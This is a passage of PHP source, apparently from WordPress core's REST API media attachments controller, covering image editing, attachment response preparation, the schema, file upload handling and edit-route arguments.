get a modified name later. */ $image_file_to_edit = $image_file; if ( ! file_exists( $image_file_to_edit ) ) { $image_file_to_edit = _load_image_to_edit_path( $attachment_id ); } $image_editor = wp_get_image_editor( $image_file_to_edit ); if ( is_wp_error( $image_editor ) ) { return new WP_Error( 'rest_unknown_image_file_type', __( 'Unable to edit this image.' ), array( 'status' => 500 ) ); } // Apply any unapplied EXIF orientation so edits run in the upright frame the client previewed. $image_editor->maybe_exif_rotate(); foreach ( $modifiers as $modifier ) { $args = $modifier['args']; switch ( $modifier['type'] ) { case 'flip': /* * Flips the current image. * The vertical flip is the first argument (flip along horizontal axis), the horizontal flip is the second argument (flip along vertical axis). * See: WP_Image_Editor::flip() */ $result = $image_editor->flip( $args['flip']['vertical'], $args['flip']['horizontal'] ); if ( is_wp_error( $result ) ) { return new WP_Error( 'rest_image_flip_failed', __( 'Unable to flip this image.' ), array( 'status' => 500 ) ); } break; case 'rotate': // Rotation direction: clockwise vs. counterclockwise. $rotate = 0 - $args['angle']; if ( 0 !== $rotate ) { $result = $image_editor->rotate( $rotate ); if ( is_wp_error( $result ) ) { return new WP_Error( 'rest_image_rotation_failed', __( 'Unable to rotate this image.' ), array( 'status' => 500 ) ); } } break; case 'crop': $size = $image_editor->get_size(); $crop_x = (int) round( ( $size['width'] * $args['left'] ) / 100.0 ); $crop_y = (int) round( ( $size['height'] * $args['top'] ) / 100.0 ); $width = (int) round( ( $size['width'] * $args['width'] ) / 100.0 ); $height = (int) round( ( $size['height'] * $args['height'] ) / 100.0 ); if ( $size['width'] !== $width || $size['height'] !== $height ) { $result = $image_editor->crop( $crop_x, $crop_y, $width, $height ); if ( is_wp_error( $result ) ) { return new WP_Error( 'rest_image_crop_failed', __( 'Unable to crop this image.' ), array( 'status' => 500 ) ); } } break; } } // Calculate the file name. $image_ext = pathinfo( $image_file, PATHINFO_EXTENSION ); $image_name = wp_basename( $image_file, ".{$image_ext}" ); /* * Do not append multiple `-edited` to the file name. * The user may be editing a previously edited image. */ if ( preg_match( '/-edited(-\d+)?$/', $image_name ) ) { // Remove any `-1`, `-2`, etc. `wp_unique_filename()` will add the proper number. $image_name = preg_replace( '/-edited(-\d+)?$/', '-edited', $image_name ); } else { // Append `-edited` before the extension. $image_name .= '-edited'; } $filename = "{$image_name}.{$image_ext}"; // Create the uploads subdirectory if needed. $uploads = wp_upload_dir(); // Make the file name unique in the (new) upload directory. $filename = wp_unique_filename( $uploads['path'], $filename ); // Save to disk. $saved = $image_editor->save( $uploads['path'] . "/$filename" ); if ( is_wp_error( $saved ) ) { return $saved; } // Grab original attachment post so we can use it to set defaults. $original_attachment_post = get_post( $attachment_id ); // Check request fields and assign default values. $new_attachment_post = $this->prepare_item_for_database( $request ); $new_attachment_post->post_mime_type = $saved['mime-type']; $new_attachment_post->guid = $uploads['url'] . "/$filename"; // Unset ID so wp_insert_attachment generates a new ID. unset( $new_attachment_post->ID ); // Set new attachment post title with fallbacks. $new_attachment_post->post_title = $new_attachment_post->post_title ?? $original_attachment_post->post_title ?? $image_name; // Set new attachment post caption (post_excerpt). $new_attachment_post->post_excerpt = $new_attachment_post->post_excerpt ?? $original_attachment_post->post_excerpt ?? ''; // Set new attachment post description (post_content) with fallbacks. $new_attachment_post->post_content = $new_attachment_post->post_content ?? $original_attachment_post->post_content ?? ''; // Set post parent if set in request, else the default of `0` (no parent). $new_attachment_post->post_parent = $new_attachment_post->post_parent ?? 0; // Insert the new attachment post. $new_attachment_id = wp_insert_attachment( wp_slash( (array) $new_attachment_post ), $saved['path'], 0, true ); if ( is_wp_error( $new_attachment_id ) ) { if ( 'db_update_error' === $new_attachment_id->get_error_code() ) { $new_attachment_id->add_data( array( 'status' => 500 ) ); } else { $new_attachment_id->add_data( array( 'status' => 400 ) ); } return $new_attachment_id; } // First, try to use the alt text from the request. If not set, copy the image alt text from the original attachment. $image_alt = isset( $request['alt_text'] ) ? sanitize_text_field( $request['alt_text'] ) : get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ); if ( ! empty( $image_alt ) ) { // update_post_meta() expects slashed. update_post_meta( $new_attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) ); } if ( wp_is_serving_rest_request() ) { /* * Set a custom header with the attachment_id. * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error. */ header( 'X-WP-Upload-Attachment-ID: ' . $new_attachment_id ); } // Generate image sub-sizes and meta. $new_image_meta = wp_generate_attachment_metadata( $new_attachment_id, $saved['path'] ); // Copy the EXIF metadata from the original attachment if not generated for the edited image. if ( isset( $image_meta['image_meta'] ) && isset( $new_image_meta['image_meta'] ) && is_array( $new_image_meta['image_meta'] ) ) { // Merge but skip empty values. foreach ( (array) $image_meta['image_meta'] as $key => $value ) { if ( empty( $new_image_meta['image_meta'][ $key ] ) && ! empty( $value ) ) { $new_image_meta['image_meta'][ $key ] = $value; } } } // Reset orientation. At this point the image is edited and orientation is correct. if ( ! empty( $new_image_meta['image_meta']['orientation'] ) ) { $new_image_meta['image_meta']['orientation'] = 1; } // The attachment_id may change if the site is exported and imported. $new_image_meta['parent_image'] = array( 'attachment_id' => $attachment_id, // Path to the originally uploaded image file relative to the uploads directory. 'file' => _wp_relative_upload_path( $image_file ), ); /** * Filters the meta data for the new image created by editing an existing image. * * @since 5.5.0 * * @param array $new_image_meta Meta data for the new image. * @param int $new_attachment_id Attachment post ID for the new image. * @param int $attachment_id Attachment post ID for the edited (parent) image. */ $new_image_meta = apply_filters( 'wp_edited_image_metadata', $new_image_meta, $new_attachment_id, $attachment_id ); wp_update_attachment_metadata( $new_attachment_id, $new_image_meta ); $response = $this->prepare_item_for_response( get_post( $new_attachment_id ), $request ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $new_attachment_id ) ) ); return $response; } /** * Prepares a single attachment for create or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Post object. */ protected function prepare_item_for_database( $request ) { $prepared_attachment = parent::prepare_item_for_database( $request ); // Attachment caption (post_excerpt internally). if ( isset( $request['caption'] ) ) { if ( is_string( $request['caption'] ) ) { $prepared_attachment->post_excerpt = $request['caption']; } elseif ( isset( $request['caption']['raw'] ) ) { $prepared_attachment->post_excerpt = $request['caption']['raw']; } } // Attachment description (post_content internally). if ( isset( $request['description'] ) ) { if ( is_string( $request['description'] ) ) { $prepared_attachment->post_content = $request['description']; } elseif ( isset( $request['description']['raw'] ) ) { $prepared_attachment->post_content = $request['description']['raw']; } } if ( isset( $request['post'] ) ) { $prepared_attachment->post_parent = (int) $request['post']; } return $prepared_attachment; } /** * Prepares a single attachment output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post $item Attachment object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post = $item; $response = parent::prepare_item_for_response( $post, $request ); $fields = $this->get_fields_for_response( $request ); /** @var array $data */ $data = $response->get_data(); if ( in_array( 'description', $fields, true ) ) { $data['description'] = array( 'raw' => $post->post_content, /** This filter is documented in wp-includes/post-template.php */ 'rendered' => apply_filters( 'the_content', $post->post_content ), ); } if ( in_array( 'caption', $fields, true ) ) { /** This filter is documented in wp-includes/post-template.php */ $caption = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post ); /** This filter is documented in wp-includes/post-template.php */ $caption = apply_filters( 'the_excerpt', $caption ); $data['caption'] = array( 'raw' => $post->post_excerpt, 'rendered' => $caption, ); } if ( in_array( 'alt_text', $fields, true ) ) { $data['alt_text'] = get_post_meta( $post->ID, '_wp_attachment_image_alt', true ); } if ( in_array( 'media_type', $fields, true ) ) { $data['media_type'] = wp_attachment_is_image( $post->ID ) ? 'image' : 'file'; } if ( in_array( 'mime_type', $fields, true ) ) { $data['mime_type'] = $post->post_mime_type; } if ( in_array( 'media_details', $fields, true ) ) { $data['media_details'] = wp_get_attachment_metadata( $post->ID ); // Ensure empty details is an empty object. if ( empty( $data['media_details'] ) ) { $data['media_details'] = new stdClass(); } elseif ( ! empty( $data['media_details']['sizes'] ) ) { foreach ( $data['media_details']['sizes'] as $size => &$size_data ) { if ( isset( $size_data['mime-type'] ) ) { $size_data['mime_type'] = $size_data['mime-type']; unset( $size_data['mime-type'] ); } // Use the same method image_downsize() does. $image_src = wp_get_attachment_image_src( $post->ID, $size ); if ( ! $image_src ) { continue; } $size_data['source_url'] = $image_src[0]; } unset( $size_data ); $full_src = wp_get_attachment_image_src( $post->ID, 'full' ); if ( ! empty( $full_src ) ) { $data['media_details']['sizes']['full'] = array( 'file' => wp_basename( $full_src[0] ), 'width' => $full_src[1], 'height' => $full_src[2], 'mime_type' => $post->post_mime_type, 'source_url' => $full_src[0], ); } } else { $data['media_details']['sizes'] = new stdClass(); } } if ( in_array( 'post', $fields, true ) ) { $data['post'] = ! empty( $post->post_parent ) ? (int) $post->post_parent : null; } if ( in_array( 'source_url', $fields, true ) ) { $data['source_url'] = wp_get_attachment_url( $post->ID ); } if ( in_array( 'missing_image_sizes', $fields, true ) ) { require_once ABSPATH . 'wp-admin/includes/image.php'; $data['missing_image_sizes'] = array_keys( wp_get_missing_image_subsizes( $post->ID ) ); // Handle PDFs which don't use wp_get_missing_image_subsizes(). if ( empty( $data['missing_image_sizes'] ) && 'application/pdf' === get_post_mime_type( $post ) ) { $metadata = wp_get_attachment_metadata( $post->ID, true ); if ( ! is_array( $metadata ) ) { $metadata = array(); } $metadata['sizes'] = $metadata['sizes'] ?? array(); $fallback_sizes = array( 'thumbnail', 'medium', 'large', ); // The filter might have been added by ::create_item(). remove_filter( 'fallback_intermediate_image_sizes', '__return_empty_array', 100 ); /** This filter is documented in wp-admin/includes/image.php */ $fallback_sizes = apply_filters( 'fallback_intermediate_image_sizes', $fallback_sizes, $metadata ); $registered_sizes = wp_get_registered_image_subsizes(); $merged_sizes = array_keys( array_intersect_key( $registered_sizes, array_flip( $fallback_sizes ) ) ); $data['missing_image_sizes'] = array_values( array_diff( $merged_sizes, array_keys( $metadata['sizes'] ) ) ); } } if ( in_array( 'filename', $fields, true ) ) { $data['filename'] = $this->get_attachment_filename( $post->ID ); } if ( in_array( 'filesize', $fields, true ) ) { $data['filesize'] = $this->get_attachment_filesize( $post->ID ); } if ( in_array( 'exif_orientation', $fields, true ) && wp_attachment_is_image( $post ) ) { $metadata = wp_get_attachment_metadata( $post->ID, true ); // Default to 1 (no rotation needed) if orientation not set. $orientation = 1; if ( is_array( $metadata ) && isset( $metadata['image_meta']['orientation'] ) && (int) $metadata['image_meta']['orientation'] > 0 ) { $orientation = (int) $metadata['image_meta']['orientation']; } $data['exif_orientation'] = $orientation; } if ( wp_attachment_is_image( $post ) ) { $mime_type = (string) get_post_mime_type( $post ); /* * Per-file output format for images, evaluated with the real filename * and MIME type so plugins filtering image_editor_output_format can * make per-attachment decisions (e.g. JPEG -> WebP). Resolved the same * way WP_Image_Editor::set_quality() resolves the output format. */ if ( in_array( 'image_output_format', $fields, true ) ) { $filename = get_attached_file( $post->ID ); /** This filter is documented in wp-includes/media.php */ $output_formats = apply_filters( 'image_editor_output_format', array( $mime_type => $mime_type ), $filename ? $filename : '', $mime_type ); $output_mime = $output_formats[ $mime_type ] ?? $mime_type; $data['image_output_format'] = ( $output_mime !== $mime_type ) ? $output_mime : null; } /* * Per-file progressive/interlaced encoding flag for images, evaluated * against the attachment's MIME type. */ if ( in_array( 'image_save_progressive', $fields, true ) ) { /** This filter is documented in wp-includes/class-wp-image-editor-gd.php */ $data['image_save_progressive'] = (bool) apply_filters( 'image_save_progressive', false, $mime_type ); } if ( in_array( 'image_quality', $fields, true ) ) { $filename = get_attached_file( $post->ID ); /** This filter is documented in wp-includes/media.php */ $output_formats = apply_filters( 'image_editor_output_format', array( $mime_type => $mime_type ), $filename ? $filename : '', $mime_type ); $output_mime = $output_formats[ $mime_type ] ?? $mime_type; $metadata = wp_get_attachment_metadata( $post->ID, true ); $full_width = max( 0, ( is_array( $metadata ) && isset( $metadata['width'] ) ) ? (int) $metadata['width'] : 0 ); $full_height = max( 0, ( is_array( $metadata ) && isset( $metadata['height'] ) ) ? (int) $metadata['height'] : 0 ); $full_quality = wp_get_image_encode_quality( $output_mime, array( 'width' => $full_width, 'height' => $full_height, ) ); $size_quality = array(); foreach ( wp_get_registered_image_subsizes() as $size_name => $size_data ) { $quality = wp_get_image_encode_quality( $output_mime, array( 'width' => (int) $size_data['width'], 'height' => (int) $size_data['height'], ) ); // Only report sizes whose quality diverges from the full-size value. if ( $quality !== $full_quality ) { $size_quality[ $size_name ] = $quality; } } $data['image_quality'] = array( 'default' => $full_quality, 'sizes' => $size_quality, ); } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); $links = $response->get_links(); // Wrap the data in a response object. $response = rest_ensure_response( $data ); foreach ( $links as $rel => $rel_links ) { foreach ( $rel_links as $link ) { $response->add_link( $rel, $link['href'], $link['attributes'] ); } } /** * Filters an attachment returned from the REST API. * * Allows modification of the attachment right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post The original attachment post. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_attachment', $response, $post, $request ); } /** * Prepares attachment links for the request. * * @since 6.9.0 * * @param WP_Post $post Post object. * @return array Links for the given attachment. */ protected function prepare_links( $post ) { $links = parent::prepare_links( $post ); if ( ! empty( $post->post_parent ) ) { $post = get_post( $post->post_parent ); if ( ! empty( $post ) ) { $links['https://api.w.org/attached-to'] = array( 'href' => rest_url( rest_get_route_for_post( $post ) ), 'embeddable' => true, 'post_type' => $post->post_type, 'id' => $post->ID, ); } } return $links; } /** * Retrieves the attachment's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema as an array. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = parent::get_item_schema(); $schema['properties']['alt_text'] = array( 'description' => __( 'Alternative text to display when attachment is not displayed.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ); $schema['properties']['caption'] = array( 'description' => __( 'The attachment caption.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Caption for the attachment, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML caption for the attachment, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); $schema['properties']['description'] = array( 'description' => __( 'The attachment description.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Description for the attachment, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML description for the attachment, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); $schema['properties']['media_type'] = array( 'description' => __( 'Attachment type.' ), 'type' => 'string', 'enum' => array( 'image', 'file' ), 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['mime_type'] = array( 'description' => __( 'The attachment MIME type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['media_details'] = array( 'description' => __( 'Details about the media file, specific to its type.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['post'] = array( 'description' => __( 'The ID for the associated post of the attachment.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); $schema['properties']['source_url'] = array( 'description' => __( 'URL to the original attachment file.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['missing_image_sizes'] = array( 'description' => __( 'List of the missing image sizes of the attachment.' ), 'type' => 'array', 'items' => array( 'type' => 'string' ), 'context' => array( 'edit' ), 'readonly' => true, ); $schema['properties']['filename'] = array( 'description' => __( 'Original attachment file name.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ); $schema['properties']['filesize'] = array( 'description' => __( 'Attachment file size in bytes.' ), 'type' => array( 'integer', 'null' ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ); $schema['properties']['exif_orientation'] = array( 'description' => __( 'EXIF orientation value. Values 1-8 follow the EXIF specification, where 1 means no rotation needed.' ), 'type' => 'integer', 'context' => array( 'edit' ), 'readonly' => true, ); // Enumerate the registered sub-sizes so the schema documents exactly which // keys may appear under "sizes". $size_quality_properties = array(); foreach ( array_keys( wp_get_registered_image_subsizes() ) as $size_name ) { $size_quality_properties[ $size_name ] = array( 'type' => 'integer', 'minimum' => 1, 'maximum' => 100, ); } $schema['properties']['image_quality'] = array( 'description' => __( 'Encode quality (1-100) from the wp_editor_set_quality filter, resolved against the output MIME type. The "default" value applies to the full-size image; "sizes" lists per-registered-size overrides where the filtered value differs from "default".' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, 'properties' => array( 'default' => array( 'type' => 'integer', 'minimum' => 1, 'maximum' => 100, ), 'sizes' => array( 'type' => 'object', 'properties' => $size_quality_properties, ), ), ); $schema['properties']['image_output_format'] = array( 'description' => __( 'The output MIME type this image should be converted to, based on the image_editor_output_format filter. Null if no conversion is needed.' ), 'type' => array( 'string', 'null' ), 'context' => array( 'edit' ), 'readonly' => true, ); $schema['properties']['image_save_progressive'] = array( 'description' => __( 'Whether to use progressive/interlaced encoding when saving this image.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ); unset( $schema['properties']['password'] ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Handles an upload via raw POST data. * * @since 4.7.0 * @since 6.6.0 Added the `$time` parameter. * * @param string $data Supplied file data. * @param array $headers HTTP headers from the request. * @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array{ file: non-empty-string, url: non-empty-string, type: non-empty-string }|WP_Error Data from wp_handle_sideload(). */ protected function upload_from_data( $data, $headers, $time = null ) { if ( empty( $data ) ) { return new WP_Error( 'rest_upload_no_data', __( 'No data supplied.' ), array( 'status' => 400 ) ); } if ( empty( $headers['content_type'] ) ) { return new WP_Error( 'rest_upload_no_content_type', __( 'No Content-Type supplied.' ), array( 'status' => 400 ) ); } if ( empty( $headers['content_disposition'] ) ) { return new WP_Error( 'rest_upload_no_content_disposition', __( 'No Content-Disposition supplied.' ), array( 'status' => 400 ) ); } $filename = self::get_filename_from_disposition( $headers['content_disposition'] ); if ( empty( $filename ) ) { return new WP_Error( 'rest_upload_invalid_disposition', __( 'Invalid Content-Disposition supplied. Content-Disposition needs to be formatted as `attachment; filename="image.png"` or similar.' ), array( 'status' => 400 ) ); } if ( ! empty( $headers['content_md5'] ) ) { $content_md5 = array_shift( $headers['content_md5'] ); $expected = trim( $content_md5 ); $actual = md5( $data ); if ( $expected !== $actual ) { return new WP_Error( 'rest_upload_hash_mismatch', __( 'Content hash did not match expected.' ), array( 'status' => 412 ) ); } } // Get the content-type. $type = array_shift( $headers['content_type'] ); // Include filesystem functions to get access to wp_tempnam() and wp_handle_sideload(). require_once ABSPATH . 'wp-admin/includes/file.php'; // Save the file. $tmpfname = wp_tempnam( $filename ); $fp = fopen( $tmpfname, 'w+' ); if ( ! $fp ) { return new WP_Error( 'rest_upload_file_error', __( 'Could not open file handle.' ), array( 'status' => 500 ) ); } fwrite( $fp, $data ); fclose( $fp ); // Now, sideload it in. $file_data = array( 'error' => null, 'tmp_name' => $tmpfname, 'name' => $filename, 'type' => $type, ); $size_check = self::check_upload_size( $file_data ); if ( is_wp_error( $size_check ) ) { return $size_check; } $overrides = array( 'test_form' => false, ); $sideloaded = wp_handle_sideload( $file_data, $overrides, $time ); if ( isset( $sideloaded['error'] ) ) { @unlink( $tmpfname ); return new WP_Error( 'rest_upload_sideload_error', $sideloaded['error'], array( 'status' => 500 ) ); } return $sideloaded; } /** * Parses filename from a Content-Disposition header value. * * As per RFC6266: * * content-disposition = "Content-Disposition" ":" * disposition-type *( ";" disposition-parm ) * * disposition-type = "inline" | "attachment" | disp-ext-type * ; case-insensitive * disp-ext-type = token * * disposition-parm = filename-parm | disp-ext-parm * * filename-parm = "filename" "=" value * | "filename*" "=" ext-value * * disp-ext-parm = token "=" value * | ext-token "=" ext-value * ext-token = * * @since 4.7.0 * * @link https://tools.ietf.org/html/rfc2388 * @link https://tools.ietf.org/html/rfc6266 * * @param string[] $disposition_header List of Content-Disposition header values. * @return string|null Filename if available, or null if not found. */ public static function get_filename_from_disposition( $disposition_header ) { // Get the filename. $filename = null; foreach ( $disposition_header as $value ) { $value = trim( $value ); if ( ! str_contains( $value, ';' ) ) { continue; } list( , $attr_parts ) = explode( ';', $value, 2 ); $attr_parts = explode( ';', $attr_parts ); $attributes = array(); foreach ( $attr_parts as $part ) { if ( ! str_contains( $part, '=' ) ) { continue; } list( $key, $value ) = explode( '=', $part, 2 ); $attributes[ trim( $key ) ] = trim( $value ); } if ( empty( $attributes['filename'] ) ) { continue; } $filename = trim( $attributes['filename'] ); // Unquote quoted filename, but after trimming. if ( str_starts_with( $filename, '"' ) && str_ends_with( $filename, '"' ) ) { $filename = substr( $filename, 1, -1 ); } } return $filename; } /** * Retrieves the query params for collections of attachments. * * @since 4.7.0 * @since 6.9.0 Extends the `media_type` and `mime_type` request arguments to support array values. * * @return array Query parameters for the attachment collection as an array. */ public function get_collection_params() { $params = parent::get_collection_params(); $params['status']['default'] = 'inherit'; $params['status']['items']['enum'] = array( 'inherit', 'private', 'trash' ); $media_types = array_keys( $this->get_media_types() ); $params['media_type'] = array( 'default' => null, 'description' => __( 'Limit result set to attachments of a particular media type or media types.' ), 'type' => 'array', 'items' => array( 'type' => 'string', 'enum' => $media_types, ), ); $params['mime_type'] = array( 'default' => null, 'description' => __( 'Limit result set to attachments of a particular MIME type or MIME types.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); return $params; } /** * Handles an upload via multipart/form-data ($_FILES). * * @since 4.7.0 * @since 6.6.0 Added the `$time` parameter. * * @param array $files Data from the `$_FILES` superglobal. * @param array $headers HTTP headers from the request. * @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array{ file: non-empty-string, url: non-empty-string, type: non-empty-string }|WP_Error Data from wp_handle_upload(). */ protected function upload_from_file( $files, $headers, $time = null ) { if ( empty( $files ) ) { return new WP_Error( 'rest_upload_no_data', __( 'No data supplied.' ), array( 'status' => 400 ) ); } // Verify hash, if given. if ( ! empty( $headers['content_md5'] ) ) { $content_md5 = array_shift( $headers['content_md5'] ); $expected = trim( $content_md5 ); $actual = md5_file( $files['file']['tmp_name'] ); if ( $expected !== $actual ) { return new WP_Error( 'rest_upload_hash_mismatch', __( 'Content hash did not match expected.' ), array( 'status' => 412 ) ); } } // Pass off to WP to handle the actual upload. $overrides = array( 'test_form' => false, ); // Bypasses is_uploaded_file() when running unit tests. if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) { $overrides['action'] = 'wp_handle_mock_upload'; } $size_check = self::check_upload_size( $files['file'] ); if ( is_wp_error( $size_check ) ) { return $size_check; } // Include filesystem functions to get access to wp_handle_upload(). require_once ABSPATH . 'wp-admin/includes/file.php'; $file = wp_handle_upload( $files['file'], $overrides, $time ); if ( isset( $file['error'] ) ) { return new WP_Error( 'rest_upload_unknown_error', $file['error'], array( 'status' => 500 ) ); } return $file; } /** * Retrieves the supported media types. * * Media types are considered the MIME type category. * * @since 4.7.0 * * @return array Array of supported media types. */ protected function get_media_types() { $media_types = array(); foreach ( get_allowed_mime_types() as $mime_type ) { $parts = explode( '/', $mime_type ); if ( ! isset( $media_types[ $parts[0] ] ) ) { $media_types[ $parts[0] ] = array(); } $media_types[ $parts[0] ][] = $mime_type; } return $media_types; } /** * Determine if uploaded file exceeds space quota on multisite. * * Replicates check_upload_size(). * * @since 4.9.8 * * @param array $file $_FILES array for a given file. * @return true|WP_Error True if can upload, error for errors. */ protected function check_upload_size( $file ) { if ( ! is_multisite() ) { return true; } if ( get_site_option( 'upload_space_check_disabled' ) ) { return true; } $space_left = get_upload_space_available(); $file_size = filesize( $file['tmp_name'] ); if ( $space_left < $file_size ) { return new WP_Error( 'rest_upload_limited_space', /* translators: %s: Required disk space in kilobytes. */ sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) ), array( 'status' => 400 ) ); } if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) { return new WP_Error( 'rest_upload_file_too_big', /* translators: %s: Maximum allowed file size in kilobytes. */ sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) ), array( 'status' => 400 ) ); } // Include multisite admin functions to get access to upload_is_user_over_quota(). require_once ABSPATH . 'wp-admin/includes/ms.php'; if ( upload_is_user_over_quota( false ) ) { return new WP_Error( 'rest_upload_user_quota_exceeded', __( 'You have used your space quota. Please delete files before uploading.' ), array( 'status' => 400 ) ); } return true; } /** * Gets the request args for the edit item route. * * @since 5.5.0 * @since 6.9.0 Adds flips capability and editable fields for the newly-created attachment post. * * @return array */ protected function get_edit_media_item_args() { $args = array( 'src' => array( 'description' => __( 'URL to the edited image file.' ), 'type' => 'string', 'format' => 'uri', 'required' => true, ), // The `modifiers` param takes precedence over the older format. 'modifiers' => array( 'description' => __( 'Array of image edits.' ), 'type' => 'array', 'minItems' => 1, 'items' => array( 'description' => __( 'Image edit.' ), 'type' => 'object', 'required' => array( 'type', 'args', ), 'oneOf' => array( array( 'title' => __( 'Flip' ), 'properties' => array( 'type' => array( 'description' => __( 'Flip type.' ), 'type' => 'string', 'enum' => array( 'flip' ), ), 'args' => array( 'description' => __( 'Flip arguments.' ), 'type' => 'object', 'required' => array( 'flip', ), 'properties' => array( 'flip' => array( 'description' => __( 'Flip direction.' ), 'type' => 'object', 'required' => array( 'horizontal', 'vertical', ), 'properties' => array( 'horizontal' => array( 'description' => __( 'Whether to flip in the horizontal direction.' ), 'type' => 'boolean', ), 'vertical' => array( 'description' => __( 'Whether to flip in the vertical direction.' ), 'type' => 'boolean', ), ), ), ), ), ), ), array( 'title' => __( 'Rotation' ), 'properties' => array( 'type' => array( 'description' => __( 'Rotation type.' ), 'type' => 'string', 'enum' => array( 'rotate' ), ), 'args' => array( 'description' => __( 'Rotation arguments.' ), 'type' => 'object', 'required' => array( 'angle', ), 'properties' => array( 'angle' => array( 'description' => __( 'Angle to rotate clockwise in degrees.' ), 'type' => 'number', ), ), ), ), ), array( 'title' => __( 'Crop' ), 'properties' => array( 'type' => array( 'description' => __( 'Crop type.' ), 'type' => 'string', 'enum' => array( 'crop' ), ), 'args' => array( 'description' => __( 'Crop arguments.' ), 'type' => 'object', 'required' => array( 'left', 'top', 'width', 'height', ), 'properties' => array( 'left' => array( 'description' => __( 'Horizontal position from the left to begin the crop as a percentage of the image width.' ), 'type' => 'number', ), 'top' => array( 'description' => __( 'Vertical position from the top to begin the crop as a percentage of the image height.' ), 'type' => 'number', ), 'width' => array( 'description' => __( 'Width of the crop as a percentage of the image width.' ), 'type' => 'number', ), 'height' => array( 'description' => __( 'Height of the crop as a percentage of the image height.' ), 'type' => 'number', ), ), ), ), ), ), ), ), 'rotation' => array( 'description' => __( 'The amount to rotate the image clockwise in degrees. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'integer', 'minimum' => 0, 'exclusiveMinimum' => true, 'maximum' => 360, 'exclusiveMaximum' => true, ), 'x' => array( 'description' => __( 'As a percentage of the image, the x position to start the crop from. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), 'y' => array( 'description' => __( 'As a percentage of the image, the y position to start the crop from. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), 'width' => array( 'description' => __( 'As a percentage of the image, the width to crop the image to. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), 'height' => array( 'description' => __( 'As a percentage of the image, the height to crop the image to. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), ); /* * Get the args based on the post schema. This calls `rest_get_endpoint_args_for_schema()`, * which also takes care of sanitization and validation. */ $update_item_args = $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ); if ( isset( $update_item_args['caption'] ) ) { $args['caption'] = $update_item_args['caption']; } if ( isset( $update_item_args['description'] ) ) { $args['description'] = $update_item_args['description']; } if ( isset( $update_item_args['title'] ) ) { $args['title'] = $update_item_args['title']; } if ( isset( $update_item_args['post'] ) ) { $args['post'] = $update_item_args['post']; } if ( isset( $update_item_args['alt_text'] ) ) { $args['alt_text'] = $update_item_args['alt_text']; } return $args; } /** * Gets the attachment's original file name. * * @since 7.0.0 * * @param int $attachment_id Attachment ID. * @return string|null Attachment file name, or null if not found. */ protected function get_attachment_filename( int $attachment_id ): ?string { $path = wp_get_original_image_path( $attachment_id ); if ( $path ) { return wp_basename( $path ); } $path = get_attached_file( $attachment_id ); if ( $path ) { return wp_basename( $path ); 